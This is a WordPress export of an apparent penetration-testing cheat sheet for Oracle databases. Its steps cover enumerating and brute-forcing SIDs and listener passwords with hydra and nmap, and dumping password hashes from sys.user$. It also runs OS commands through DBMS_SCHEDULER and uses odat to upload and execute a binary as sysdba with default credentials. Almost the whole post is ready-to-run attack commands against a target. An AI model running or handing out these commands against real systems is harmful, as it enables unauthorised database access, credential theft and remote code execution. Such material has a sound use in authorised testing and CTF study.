{"id":1167,"date":"2020-04-06T14:17:47","date_gmt":"2020-04-06T12:17:47","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1167"},"modified":"2026-06-03T21:04:05","modified_gmt":"2026-06-03T19:04:05","slug":"oracle-sql","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1167","title":{"rendered":"Oracle SQL<\/span>"},"content":{"rendered":"\n

In Ora\u00adcle SQL<\/span>, a SID<\/span> (Ser\u00advice Iden\u00adti\u00adfi\u00ader) is basi\u00adcal\u00adly a database.<\/p>\n\n\n\n

Enumeration<\/h2>\n\n\n\n

Get gen\u00ader\u00adal information<\/p>\n\n\n\n

tnscmd10g -h $target<\/pre>\n\n\n\n
Try to get a SID<\/span>:<\/p>\n\n\n\n
tnscmd10g status-p 1521 -h <\/span>$target<\/pre>\n\n\n\n
Anoth\u00ader tool: Ora\u00adcle Scanner<\/p>\n\n\n\n
oscanner -s $target -P 1521<\/pre>\n\n\n\n
Metas\u00adploit module<\/p>\n\n\n\n
scanner\/oracle\/tnslsnr_version<\/pre>\n\n\n\n
Brute force SID<\/span><\/h2>\n\n\n\n
hydra -L \/usr\/share\/metasploit-framework\/data\/wordlists\/sid.txt -s 1521 $target oracle-sid<\/pre>\n\n\n\n
nmap --script oracle-sid-brute -p 1521 $target<\/pre>\n\n\n\n
Brute force credentials<\/h2>\n\n\n\n
Brute force (only a pass\u00adword is need\u00aded, no user\u00adname) for lis\u00adten\u00ader<\/em><\/p>\n\n\n\n
hydra -P \/usr\/share\/wordlists\/rockyou.txt -t 32 -s 1521 $target oracle-listener<\/pre>\n\n\n\n
Or use odat<\/p>\n\n\n\n
odat all -s $target -p 1521 [-d XE]<\/pre>\n\n\n\n
Command line enumeration<\/h2>\n\n\n\n
You prob\u00ada\u00adbly want to use XE<\/span><\/strong> as $dbname<\/code>.<\/p>\n\n\n\n
export LD_LIBRARY_PATH=\/usr\/lib\/oracle\/19.6\/client64\/lib
sqlplus $user\/$pass@$target\/$dbname 'as sysdba'<\/pre>\n\n\n\n
Enu\u00admer\u00adate version<\/p>\n\n\n\n
select * from v$version;<\/pre>\n\n\n\n
Enu\u00admer\u00adate users<\/p>\n\n\n\n
select * from all_users;<\/pre>\n\n\n\n
Get cur\u00adrent user:<\/p>\n\n\n\n
SELECT user from dual;<\/pre>\n\n\n\n
Get all users:<\/p>\n\n\n\n
select table_name from all_tables where owner = 'SYS' order by table_name;<\/pre>\n\n\n\n
Get details about a table:<\/p>\n\n\n\n
select column_name, data_type from all_tab_columns where table_name = 'MENU';<\/pre>\n\n\n\n
Get all user infor\u00adma\u00adtion (also pass\u00adword hash\u00ades!) (See this arti\u00adcle for back\u00adground<\/a>: spare4 is now used due to a migra\u00adtion from ver\u00adsion 10.)<\/p>\n\n\n\n
select name,password,spare4 from sys.user$;<\/pre>\n\n\n\n
Exe\u00adcute a com\u00admand via the scheduler:<\/p>\n\n\n\n
exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','ping 10.10.14.12',0,TRUE);
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE)
exec DBMS_SCHEDULER.drop_program(PROGRAM_NAME => 'RDS2008');<\/pre>\n\n\n\n
Upload and exe\u00adcute as the DB<\/span> admin (Sys\u00adtem?!)<\/p>\n\n\n\n
odat utlfile -s $target -p 1521 -U \"scott\" -P \"tiger\" -d XE --putFile \/temp mps64.exe mps64.exe --sysdba\nodat externaltable -s $target -p 1521 -U \"scott\" -P \"tiger\" -d XE --exec C:\\ s64.exe --sysdba<\/pre>\n\n\n\n
Links<\/h2>\n\n\n\n